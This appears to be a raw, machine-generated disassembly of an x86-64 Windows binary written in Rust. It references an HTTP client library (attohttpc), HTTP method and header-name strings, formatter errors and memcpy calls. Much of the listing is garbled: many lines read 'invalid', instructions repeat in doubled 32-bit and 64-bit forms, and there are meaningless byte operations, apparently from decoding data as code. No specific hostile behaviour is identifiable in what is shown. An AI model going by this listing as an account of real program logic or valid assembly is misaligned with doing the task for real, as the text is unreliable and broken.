pop rsi
pop r15
pop rdi
pop rbp
ret
mov rcx, qword [rbp + 0x538]
mov ecx, dword [rbp + 0x538]
lea edi, [rax]
add eax, 0xdce80000
add byte [rax], al
invalid
invalid
cmp byte [0x11cfd244e], al
add byte [rax], al
call fcn.14015132d
fsub st(6), st(0)
out dx, al
invalid
jmp 0x140152438
movzx eax, byte [rcx]
mov dh, 1
clc
or dh, byte [rbp + rbp*2 - 0x50]
je 0x1401524cf
mov al, 1
invalid
invalid
clc
insd dword [rdi], dx
or dword [rbp + 0x61], esi
invalid
mov bh, 0x41
or eax, 0x41b60f44
cmovno eax, ecx
invalid
invalid
movzx eax, byte [rcx + 0xf]
cmovno eax, r9d
shl eax, 0x10
loopne case.0x1400c4f9a.482
adc byte [rcx + 9], al
ror byte [rcx - 0x3f], 0xe0
shl r8, 0x20
mov eax, dword [rcx + 9]
invalid
invalid
shl eax, 0x20
loopne 0x14015249e
or dword [rcx + rcx - 0x40], ecx
ror byte [rbx + rcx*4 + 0x41], 1
add dword [rdi + rcx - 0x49], eax
movzx ecx, word [rdx + 0xd]
or rax, 0x52b60f44
cmovno eax, ecx
movzx edx, byte [rdx + 0xf]
loop 0x1401524a6
adc byte [rbp + 9], al
retf 0xc149
shl edx, 0x20
loop case.0x1400c5cc0.458
mov ecx, dword [rdx + 9]
or ecx, edx
ror dword [rcx + 0x31], 1
xor ecx, eax
ror dword [rax - 0x48], 0xff
invalid
inc dword [rax]
add byte [rbx + rsi + 0x42], cl
xor eax, dword [rdx + 1]
add dword [rcx + riz - 0x38], ecx
enter 0x949, 0xffffffffffffffc0
sete al
xchg esp, eax
ror byte [rdx + 0x423a1041], 0x10
mov al, byte [rcx + 0x10]
cmp al, byte [rdx + 0x10]
invalid
adc byte [r10], dil
adc byte [rdx], bh
adc byte [rdi], cl
adc byte [rdi], cl
xchg esp, eax
rol byte [rax + riz - 0x40], 0xc3
and al, r8b
ret
and al, al
rol bl, 0x31
rol bl, 0x48
ret
mov rax, qword [rcx + 8]
or byte [r11 + rcx*4 + 0x51], cl
push rcx
adc byte [rbx + rcx*4 + 0x42], cl
or byte [rbx + rcx*4 + 0x4a], cl
invalid
invalid
invalid
mov eax, dword [rdx + 8]
or byte [rbx + r9*4 + 0x4a], cl
adc byte [rax - 0x77], cl
ror dword [rcx + rcx*4 - 0x2e], 0xe9
mov rdx, r10
invalid
mov edx, edx
shr cl, cl
cmp byte [rbx - 0x10], 0xff
invalid
in al, dx
mov rsi, rdx
invalid
mov edi, ecx
and al, 0x28
add byte [rax], ah
add byte [rax], al
invalid
and byte [rax], al
add byte [rax - 0x77], cl
mov ecx, ebx
fld dword [rbp + 0x31]
shr al, 0xa5
inc dword [rsi]
invalid
invalid
add byte [rax - 0x7d], cl
cmp eax, dword [rax]
invalid
cmp dword [rbx], 0
add byte [rax - 0x75], cl
mov ecx, dword [rbx + 8]
or byte [r13 + 0x21], sil
mov eax, dword [rsp + 0x38]
and al, 0x38
cmp byte [rax - 0x77], cl
cmovs ecx, dword [rcx - 0x7cb7f7b9]
mov qword [rdi + 8], rax
invalid
invalid
mov dword [rdi], ecx
mov dword [rdi + 8], eax
or byte [rax - 0x7d], cl
adc byte [eax], al
adc byte [rax], al
sbb byte [rax], al
add byte [rax - 0x77], cl
ja 0x14015254f
invalid
mov dword [rdi + 0x20], esi
pop rbx
mov edx, dword [rsp + 0x38]
push rsp
and al, 0x38
invalid
sub rsp, 0x40
sub esp, 0x40
in al, dx
lea rbp, [rsp + 0x40]
lea rbp, [rsp + 0x40]
mov qword [rbp - 8], 0xfffffffffffffffe
clc
clc
invalid
invalid
dec dword [rax - 0x77]
enter 0x7980, 0x18
add byte [rbp + 0x1c], dh
jne case.0x1400c4f9a.446
mov rax, rcx
cmp byte [rcx + 0x18], 0
sbb byte [rax], al
jne case.0x1400c4f9a.446
mov qword [rbp - 0x10], rax
invalid
invalid
mov rcx, rax
call fcn.140152749
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
call 0x12816aeb9
call 0x12816aeb9
lea ecx, [rbp - 0x18]
call 0x12816aeb9
mov qword [rcx], rax
mov dword [rcx], eax
add eax, ebp
call fcn.14013b1fa
test dword [rsi + rdi*8 + 0x458b48ff], ecx
invalid
invalid
mov rax, qword [rbp - 0x10]
invalid
mov rcx, qword [rax]
mov ecx, dword [rax]
or byte [rax - 0x75], cl
mov rdx, qword [rax + 8]
push rax
or byte [rax - 0x7d], cl
invalid
invalid
add rsp, 0x40
invalid
pop rbp
jmp fcn.14006095a
shl bl, 1
invalid
invalid
shl bl, 1
jrcxz case.0x1400c4f9a.446
lock dec dword [rax - 0x77]
dec dword [rax - 0x77]
push rsp
and al, 0x10
push rbp
sub rsp, 0x20
sub esp, 0x20
sub esp, 0x20
and byte [rax - 0x73], cl
lea rbp, [rdx + 0x40]
lea ebp, [rdx + 0x40]
push 0x40
mov rax, qword [rbp - 0x10]
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rax + 8]
mov edx, dword [rax + 8]
push rax
or al, ch
call fcn.14006095a
nop
mov dl, 0xe3
invalid
call qword [rax + 0x20c48348]
add rsp, 0x20
and byte [rbp - 0x3d], bl
pop rbp
ret
in al, dx
sub byte [rdi], cl
mov dh, 1
invalid
add dword [rcx - 0x47], eax
invalid
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x13a15d
adc eax, dword [rax]
invalid
add al, 0x82
add eax, edx
sar bh, 1
loopne case.0x1400c4f9a.485
lea ecx, str.OPTIONSGETPOSTPUTDELETEHEADTRACECONNECTPATCHPattern
js case.0x1400e8329.338
lea ecx, [0x14024d369]
lea ebp, [rbp - 0x46befff1]
invalid
mov ecx, 6
add bl, ch
imul eax, dword [rdi + rcx - 0x4a], 0x83491049
movzx ecx, byte [rcx + 0x10]
mov dh, 0x49
adc byte [rcx - 0x7d], cl
invalid
stc
adc byte [rbx + 0x69], dh
jae case.0x1400c5cc0.475
imul ecx, dword [rax - 1], 0x4859ebc1
lea ecx, [0x14024d362]
or eax, 0xfad67
inc ecx
or eax, 0xfad67
sub byte [rax - 0x73], cl
lea ecx, [0x14024d366]
or eax, 0xfad62
or eax, 0xfad6b
imul ebp, dword [rbp + 0x3eeb000f], 0x48
lea ecx, [0x14024d35f]
or eax, 0xfad49
invalid
lodsd eax, dword [rsi]
verw bx
add bl, ch
add bl, ch
lea rcx, ds:[0x14024d35f]
add byte [rcx - 0x47], al
add eax, dword [rax]
add byte [rax], al
invalid
mov ecx, 3
add byte [rax], al
add bl, ch
invalid
invalid
or eax, 0xfad4a
sldt word [rcx - 0x47]
add byte [rcx - 0x47], al
mov ecx, 4
add al, 0
add byte [rax], al
invalid
lodsd eax, dword [rsi]
verw bx
add bl, ch
add bl, ch
adc dword [rbx + rcx*4 + 0x49], ecx
adc byte [rax - 0x75], cl
or r11b, bpl
or bl, ch
or bl, ch
or eax, 0x380d8d48
lodsd eax, dword [rsi]
sldt word [rcx - 0x47]
add eax, 0x48000000
add byte [rax], al
mov rax, rcx
add byte [rax], al
add eax, 0x96f61
mov ecx, ecx
lea ebp, [rsp + 0x30]
mov qword [rbp], 0xfffffffffffffffe
mov r8, rdx
mov eax, edx
mov eax, edx
lea rax, [rbp - 8]
mov qword [rax - 8], rcx
and qword [rax], 0
add byte [rax - 0x73], cl
adc eax, 0xf99d2
add byte [rax - 0x73], cl
adc eax, 0xf99d2
lea rcx, [rbp - 0x10]
call fcn.140025840
invalid
xor ebp, ebp
invalid
test al, al
je case.0x1400e8329.367
movabs eax, dword [0x481274c084ffed31]
mov esi, dword [rbp - 8]
mov rsi, qword [rbp - 8]
test rsi, rsi
test esi, esi
jne case.0x140100db5.351
lea rsi, str.formatter_error
jmp 0x1401526b7
xor esi, esi
lea rcx, [rbp - 8]
call fcn.14013b1fa
mov rax, rsi
add rsp, 0x38
pop rsi
pop rbp
ret
lea rbx, str.failed_to_write_the_buffered_data
mov qword [rbp - 8], rcx
mov dword [rbp - 8], ecx
mov dword [rbp - 8], ecx
cmp rdx, qword [r15 + 0x10]
mov qword [rbp - 0x10], rdx
jae 0x14015282c
invalid
movsb byte [rdi], byte [rsi]
add byte [rax], al
invalid
movsb byte [rdi], byte [rsi]
add byte [rax], al
add byte [rcx - 0x3a], al
sbb byte [r9], r8b
sbb byte [rcx], al
mov byte [r15 + 0x18], 1
mov rcx, r15
call fcn.140197460
retf
add al, 0
add al, 0
mov r8, rdx
mov r15, qword [rbp - 8]
mov rcx, qword [r15 + 0x20]
mov ecx, dword [rdi + 0x20]
and byte [r8 - 0x75], r9b
adc dword [rax - 0x7d], ecx
ret 0x48fe
cmp edx, 3
invalid
retf
and byte [r8 - 0x75], r9b
adc dword [rax - 0x7d], ecx
ret 0x48fe
cmovae rdx, r14
test rdx, rdx
je case.0x140100db5.384
cmp rdx, 1
jne 0x1401527d5
mov rdx, rax
call fcn.14000c76a
jmp case.0x1401495b8.151
mov rcx, qword [rcx + 0x18]
mov ecx, dword [rcx + 0x18]
mov rdx, rax
call case.0x140195e42.143
mov rdi, rdx
mov edi, edx
xlatb
xlatb
jmp 0x1401527e8
mov rcx, qword [rcx + 8]
mov rdx, rax
ret 0x9de8
invalid
jmp 0x1401527e0
ret 0x9de8
jmp 0x1401527e0
dec dword [rax - 0x77]
mov rdi, rdx
xlatb
mov r15, qword [rbp - 8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdi
mov byte [r15 + 0x18], 0
test rax, rax
je 0x14015281b
invalid
and dword [rax - 0x77], ecx
stc
mov rcx, rdi
call fcn.14000fca9
test al, al
je 0x140152833
mov rcx, rsi
call fcn.140137625
invalid
invalid
invalid
dec dword [rax - 0x75]
push rbp
invalid
mov r15, qword [rbp - 8]
mov edi, dword [rbp - 8]
invalid
mov edi, dword [rbp - 8]
jmp 0x14015277a
pop rdi
invalid
test rdi, rdi
je 0x140152830
mov rdx, qword [rbp - 0x10]
add rdx, rdi
jmp 0x14015277a
xor edi, edi
jmp 0x140152833
invalid
invalid
mov rdi, rbx
mov edi, ebx
mov rcx, r15
mov rdx, qword [rbp - 0x10]
call fcn.14018cb10
mov rax, rdi
add byte [rax - 0x77], cl
clc
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
push rbp
push r15
push rdi
push r14
push rsi
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x40]
mov rcx, qword [rbp - 8]
mov rcx, qword [rbp - 8]
mov ecx, dword [rbp - 8]
mov rdx, qword [rbp - 0x10]
mov edx, dword [rbp - 0x10]
invalid
call fcn.14018cb10
nop
add byte [rax + 0x28c48348], dl
add rsp, 0x28
add esp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
cmp dword [rcx], 0
mov edx, dword [rcx + 0x10]
adc bl, al
or byte [r10 + 6], dil
or eax, 0x139eae
scasb al, byte [rdi]
sahf
adc eax, dword [rax]
invalid
add byte [rax + 0x63], cl
add al, 0x81
enter 0xffffffffffffe0ff, 0x48
loopne case.0x1401495b8.111
lea eax, str.acceptaccept_charsetaccept_encodingaccept_languageaccept_rangesaccess_control_allow_credentialsaccess_control_allow_headersaccess_control_allow_methodsaccess_control_allow_originaccess_control_expose_headersaccess_control_max_ageaccess_control_request_headersaccess_control_request_methodageallowalt_svcauthorizationcache_controlcache_statuscdn_cache_controlconnectioncontent_dispositioncontent_encodingcontent_languagecontent_lengthcontent_locationcontent_rangecontent_security_policycontent_security_policy_report_onlycontent_typecookiedntdateetagexpectexpiresforwardedfromhostif_matchif_modified_sinceif_none_matchif_rangeif_unmodified_sincelast_modifiedlinklocationmax_forwardsoriginpragmaproxy_authenticateproxy_authorizationpublic_key_pinspublic_key_pins_report_onlyrangerefererreferrer_policyrefreshretry_aftersec_websocket_acceptsec_websocket_extensionssec_websocket_keysec_websocket_protocolsec_websocket_versionserverset_cookiestrict_transport_securitytetrailertransfer_encodinguser_agentupgradeupgrade_insecure_requestsvaryviawarningwww_authenticatex_content_type_optionsx_dns_prefetch_controlx_frame_optionsx_xss_protection
mov edx, 0xf
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfa8e5
in eax, 0xa8
invalid
invalid
lea rax, [0x14024d1a0]
ret
mov edx, 0xa
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfa864
test al, 0xf
invalid
lea rax, [0x14024d12c]
add bl, al
ret
mov edx, 0x16
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14024d174]
lea rax, [0x14024d174]
add bl, al
ret
mov edx, 0x12
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14024d005]
lea rax, [0x14024d005]
add bl, al
ret
mov edx, 0x13
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14024cfc1]
lea rax, [0x14024cfc1]
add bl, al
ret
mov edx, 0x19
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14024d0f9]
lea rax, [0x14024d0f9]
lea eax, [0x14024d0f9]
ret
mov edx, 0x10
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14024d1af]
lea rax, [0x14024d1af]
lea eax, [0x14024d1af]
ret
mov edx, 7
add byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
lea rax, [0x14024d136]
lea eax, [0x14024d136]
add eax, 0xfa820
ret
mov edx, 4
add byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
lea rax, [0x14024cf8b]
lea eax, [0x14024cf8b]
add eax, 0xfa668
ret
mov edx, 0x1b
add byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
lea rax, [0x14024d039]
lea eax, [0x14024d039]
add eax, 0xfa709
ret
mov edx, 0xc
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14024cfed]
lea eax, [0x14024cfed]
mov edx, 0xf
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14024d060]
lea rax, [0x14024d060]
lea eax, [0x14024d060]
sldt ebx
ret
mov edx, 7
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14024d15d]
lea rax, [0x14024d15d]
lea eax, [0x14024d15d]
sldt ebx
ret
mov edx, 7
lea rax, [0x14024cf7b]
lea eax, [0x14024cf7b]
add byte [rax], al
add byte [rax - 0x73], cl
lea eax, [0x14024cf7b]
lea eax, [0x14024cf7b]
sldt ebx
ret
mov edx, 9
lea eax, [0x14024cf82]
sldt ebx
mov edx, 0x11
lea rax, [0x14024d11b]
lea eax, [0x14024d11b]
lea eax, [0x14024d11b]
sldt ebx
ret
mov edx, 0x17
lea rax, [0x14024cf1e]
lea eax, [0x14024cf1e]
lea eax, [0x14024cf1e]
sldt ebx
ret
lea rax, [0x14024cf75]
ret
add bl, al
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14024ce7f]
sldt ebx
add bl, al
mov edx, 2
lea rax, [0x14024d112]
cmpsd dword gs:[rsi], dword [rdi]
invalid
invalid
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfa765
cmpsd dword gs:[rsi], dword [rdi]
invalid
invalid
sldt ebx
add bl, al
ret
mov edx, 0xd
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14024cfd4]
lea rax, [0x14024cfd4]
add bl, al
ret
mov edx, 5
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14024ce73]
lodsb al, byte [rsi]
movsb byte [rdi], byte [rsi]
sldt ebx
add bl, al
add bl, al
mov edx, 4
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14024cf71]
lea rax, [0x14024cf71]
popfq
movsd dword [rdi], dword [rsi]
sldt ebx
add bl, al
ret
add eax, 0xfa61d
sldt ebx
mov edx, 0xb
add byte [rax], al
lea rax, [0x14024d076]
add eax, 0xfa68d
ret
mov edx, 0x1e
add byte [rax], al
lea rax, [0x14024ce35]
add eax, 0xfa43f
invalid
ret
lea rax, [0x14024cfff]
add dword [rsi - 0x453cfff1], esp
or eax, 0x48000000
lea eax, [0x14024cd82]
ja case.0x1401494f4.98
invalid
invalid
sldt ebx
ret
mov edx, 0xd
ja case.0x1401494f4.98
sldt ebx
mov edx, 0x11
and dword [rbp - 0x453cfff1], 0x18
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfa670
jo 0x1401529c9
invalid
invalid
sldt ebx
mov edx, 0x18
jo 0x1401529c9
sldt ebx
lea rax, [0x14024d0e9]
ret
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfa419
mov edx, 0x1d
lea rax, [0x14024ce02]
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfa4ad
lodsd eax, dword [rsi]
movsb byte [rdi], byte [rsi]
invalid
invalid
lodsd eax, dword [rsi]
movsb byte [rdi], byte [rsi]
sldt ebx
mov edx, 0xe
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfa492
xchg edx, eax
movsb byte [rdi], byte [rsi]
invalid
invalid
lea rax, [0x14024cef3]
ret
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfa2f6
invalid
invalid
invalid
invalid
mov edx, 7
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfa3fd
std
invalid
invalid
invalid
lea rax, [0x14024ce78]
ret
mov edx, 0x15
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfa64c
cmpsb byte [rsi], byte [rdi]
invalid
invalid
cmpsb byte [rsi], byte [rdi]
sldt ebx
mov edx, 0xf
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfa2de
invalid
invalid
invalid
invalid
lea rax, [0x14024cd73]
ret
mov edx, 0x1c
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfa329
invalid
invalid
invalid
invalid
sub dword [rbx - 0x453cfff1], esp
invalid
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfa2a7
cmpsd dword [rsi], dword [rdi]
invalid
invalid
invalid
cmpsd dword [rsi], dword [rdi]
movabs byte [0x3bac3000f], al
sldt ebx
ret
mov edx, 3
mov edx, 3
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14024cf6a]
lea rax, [0x14024cf6a]
ret
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14024ce8c]
ret
mov edx, 0xd
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14024cfac]
lea rax, [0x14024cfac]
ret
mov edx, 0x10
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14024d164]
lea rax, [0x14024d164]
and dword [rsi - 0x453cfff1], 0xa
ret
mov edx, 0xa
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14024ceb6]
lea rax, [0x14024ceb6]
invalid
ret
mov edx, 0x11
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14024d0ad]
lea rax, [0x14024d0ad]
ret
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14024cd8f]
mov edx, 0xa
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14024d0ef]
mov edx, 0x16
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14024d0be]
lea rax, [0x14024d0be]
ret
mov edx, 0x13
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14024cec0]
lea rax, [0x14024cec0]
sldt ebx
ret
mov edx, 3
lea rax, [0x14024ce70]
sldt ebx
ret
mov edx, 0x1c
movabs byte fs:[0xcbac3000f], al
sldt ebx
mov edx, 0xc
lea rax, [0x14024ce99]
movabs dword [0x16bac3000f], eax
sldt ebx
ret
mov edx, 0x16
lea rax, [0x14024ce1f]
mov edx, 0xc3000fa2
sldt ebx
ret
mov edx, 0x1b
sldt ebx
lea rax, [0x14024cf64]
ret
mov edx, 4
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfa3e6
lea rax, [0x14024cf6d]
ret
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfa44d
movsb byte [rdi], byte [rsi]
invalid
invalid
mov edx, 0x10
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfa332
invalid
invalid
invalid
invalid
lea rax, [0x14024ced3]
ret
mov edx, 8
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfa3e5
in eax, 0xa3
invalid
invalid
lea rax, [0x14024cf93]
ret
mov edx, 0x11
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfa2ea
lea rax, [0x14024cea5]
ret
mov edx, 7
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfa4a7
lea rax, [0x14024d06f]
ret
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfa3e4
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14024d081]
mov edx, 0x10
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14024cee3]
lea rax, [0x14024cee3]
ret
mov edx, 0x23
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14024cf35]
lea rax, [0x14024cf35]
ret
mov edx, 0xc
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14024cf58]
lea rax, [0x14024cf58]
ret
mov edx, 4
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14024cf8f]
lea rax, [0x14024cf8f]
ret
mov edx, 0xd
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14024cf11]
lea rax, [0x14024cf11]
ret
mov edx, 5
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14024d054]
lea rax, [0x14024d054]
ret
mov edx, 0x19
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14024d13d]
lea rax, [0x14024d13d]
ret
mov edx, 7
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14024d059]
lea rax, [0x14024d059]
ret
mov edx, 0xf
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14024d02a]
lea rax, [0x14024d02a]
ret
mov edx, 8
lea rax, [0x14024cfe5]
ret
mov edx, 4
lea rax, [0x14024d156]
in eax, 0xa4
sldt ebx
mov edx, 3
lea rax, [0x14024d15a]
ret
mov edx, 0x13
lea rax, [0x14024d017]
ret
mov edx, 0x16
lea rax, [0x14024d18a]
ret
mov edx, 7
lea rax, [0x14024d114]
ret
lea esi, [rbp + 0x330]
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
mov cl, byte [rbp + 0x5c9]
mov byte [rax + 0x58], cl
mov ecx, dword [rbp + 0x388]
add eax, dword [rax]
add byte [rbx + rcx*4 - 0x7b], al
mov eax, dword [rbx]
add byte [rax], al
add eax, dword [rax]
add byte [rbx + rcx*4 - 0x7b], al
mov eax, dword [rbx]
add byte [rax], al
mov dword [rax + 0x59], ecx
mov dword [rax + 0x5c], r8d
and word [rax + 0xb5], 0
and qword [rax + 0x60], 0
mov qword [rax + 0x68], 8
and qword [rax + 0x70], 0
mov byte [rax + 0xb7], dl
mov rax, qword [rbp + 0x5a0]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x138]
mov qword [rbp + 0x5b8], rdx
call case.0x14002e130.1111
mov rbx, qword [rbp + 0x530]
mov r14, qword [rbp + 0x138]
mov ch, 0x38
add dword [rax], eax
add byte [rbp + 0x39], cl
out dx, al
mov ch, 0x38
add dword [rax], eax
add byte [rbp + 0x39], cl
out dx, al
jne 0x1401539b1
movabs rax, 0x8000000000000004
lea rcx, [rbp + 0x388]
add eax, dword [rax]
add byte [rax - 0x77], cl
add eax, ebp
sbb dword [rsp + rbp*8], esp
dec dword [rax - 0x77]
test dword [rax + 1], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x777272b8], al
add eax, dword [rax]
add byte [rax - 0x77], cl
add eax, ebp
sbb dword [rsp + rbp*8], esp
dec dword [rax - 0x77]
test dword [rax + 1], eax
add byte [rax], al
mov qword [rbp + 0x138], 3
jmp 0x140153a5e
add byte [rax], al
add byte [rax], al
lea rsi, [rbp + 0x148]
mov r12, qword [rsi - 8]
push 9
pop rcx
lea rax, [rbp + 0x388]
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x4d0], xmm0
mov rcx, qword [rax + 0x10]
mov ecx, dword [rax + 0x10]
mov ecx, dword [rax + 0x10]
mov qword [rbp + 0x4e0], rcx
movups xmm0, xmmword [rax + 0x18]
movaps xmmword [rbp + 0x470], xmm0
jo 0x1401539ee
add byte [rax], al
jo 0x1401539ee
add byte [rax], al
movups xmm0, xmmword [rax + 0x28]
movaps xmmword [rbp + 0x480], xmm0
sub byte [rdi], cl
sub dword [rbp + 0x480], eax
movups xmm0, xmmword [rax + 0x38]
movaps xmmword [rbp + 0x490], xmm0
add byte [rax], al
lea rdx, [0x14024f248]
mov rdi, qword [rbp + 0x590]
mov rcx, rdi
call case.0x1400c4f9a.493
test al, al
je 0x140153a8e
mov qword [rbp + 0x5b0], r12
mov qword [rbp + 0x5c0], r14
lea rcx, [rbp + 0x138]
mov qword [rcx], r13
add eax, 0x8d480000
lea edi, [rax]
add dword [rax], eax
add byte [rcx + rcx*4 + 0x29], cl
call fcn.140015db3
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x138], 3
mov rcx, qword [rbp + 0x5c0]
mov ecx, dword [rbp + 0x5c0]
mov rdx, qword [rbp + 0x5b0]
call fcn.14006095a
lea rcx, [rbp - 0x50]
call fcn.140151949
mov rax, qword [rbp + 0x5a0]
add byte [rax], al
add byte [rax], al
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x5b8]
call fcn.14006095a
mov rcx, qword [rbp + 0x590]
call fcn.14015192c
jmp 0x140153b26
mov rax, qword [rbp + 0x4e0]
lea rsi, [rbp + 0x138]
add byte [rax - 0x77], cl
xchg byte [rax + 0xf000001], ch
sub byte [rbp + 0x4d0], al
add byte [rax - 0x73], cl
mov ch, 0x38
add dword [rax], eax
add byte [rax - 0x77], cl
xchg byte [rax + 0xf000001], ch
sub byte [rbp + 0x4d0], al
movups xmmword [rsi + 0x198], xmm0
movaps xmm0, xmmword [rbp + 0x470]
movaps xmm1, xmmword [rbp + 0x480]
movaps xmm2, xmmword [rbp + 0x490]
add al, 0
add byte [rdi], cl
sub byte [rbp + 0x490], dl
movups xmmword [rsi + 0x1b0], xmm0
movups xmmword [rsi + 0x1c0], xmm1
movups xmmword [rsi + 0x1d0], xmm2
lea rdx, [rbp - 0x50]
mov r8d, 0x188
mov eax, 0x188
mov eax, 0x188
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [rdi]
movups xmmword [rsi + 0x1e0], xmm0
mov rax, qword [rdi + 0x10]
mov qword [rsi + 0x1f0], rax
mov qword [rsi + 0x188], r14
add byte [rcx + rcx*4 - 0x5a], cl
nop
add dword [rax], eax
add byte [rax - 0x75], cl
test dword [rax + 0x48000005], esp
mov ecx, dword [rax]
add byte [rcx + rcx*4 - 0x5a], cl
nop
add dword [rax], eax
add byte [rax - 0x75], cl
test dword [rax + 0x48000005], esp
mov ecx, dword [rax]
mov rdx, qword [rbp + 0x5b8]
call fcn.14006095a
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_attohttpc_0.28.0_src_request_builder.rsinvalid_url_or_method_
mov qword [rsp + 0x20], rax
lea r8, [0x14024f2cb]
lea rdx, [rbp + 0x138]
push 0x15
pop r9
pop rcx
mov rcx, rbx
call fcn.140154000
nop
add rsp, 0x658
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
mov rax, qword [rbp + 0x5a0]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x5b8]
call fcn.14006095a
mov rcx, qword [rbp + 0x590]
call fcn.14015192c
mov byte [rbp + 0x5ce], 0
add rsp, 0x28
add esp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea ebp, [rdx + 0x80]
cmp byte [rbp + 0x5ce], 0
invalid
add eax, 0x75000000
invalid
invalid
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rax, qword [rbp + 0x5a0]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
call fcn.14006095a
mov rcx, qword [rbp + 0x590]
call fcn.14015192c
jmp 0x140153f4e
mov eax, dword [rbp + 0x5b8]
mov qword [rbp + 0x560], rax
invalid
add byte [rax - 0x77], cl
test dword [rax + 5], esp
add byte [rax], al
invalid
add byte [rax - 0x75], cl
test dword [rax + 0x48000005], ebp
add eax, 0x89480000
test dword [rax + 5], ebx
add byte [rax], al
mov rax, qword [rbp + 0x5a8]
mov qword [rbp + 0x558], rax
mov rax, qword [rbp + 0x5b0]
mov eax, dword [rbp + 0x5b0]
mov qword [rbp + 0x550], rax
mov byte [rbp + 0x5cc], 0
add eax, 0x8b000000
mov eax, dword [rbp + 0x598]
mov byte [rbp + 0x5cb], al
retf
add eax, 0x83480000
invalid
sub byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rbp, [rsp + 0x40]
mov qword [rbp - 8], 0xfffffffffffffffe
mov dword [rbp - 8], 0xfffffffe
cmp dword [rdx], 3
je 0x140154027
mov r8d, 0x1f8
add rsp, 0x40
pop rbp
jmp sub.VCRUNTIME140.dll_memcpy
invalid
invalid
invalid
and eax, 0x8b480007
xor byte [r8 - 0x75], r9b
push rdx
or byte [rax - 0x73], cl
invalid
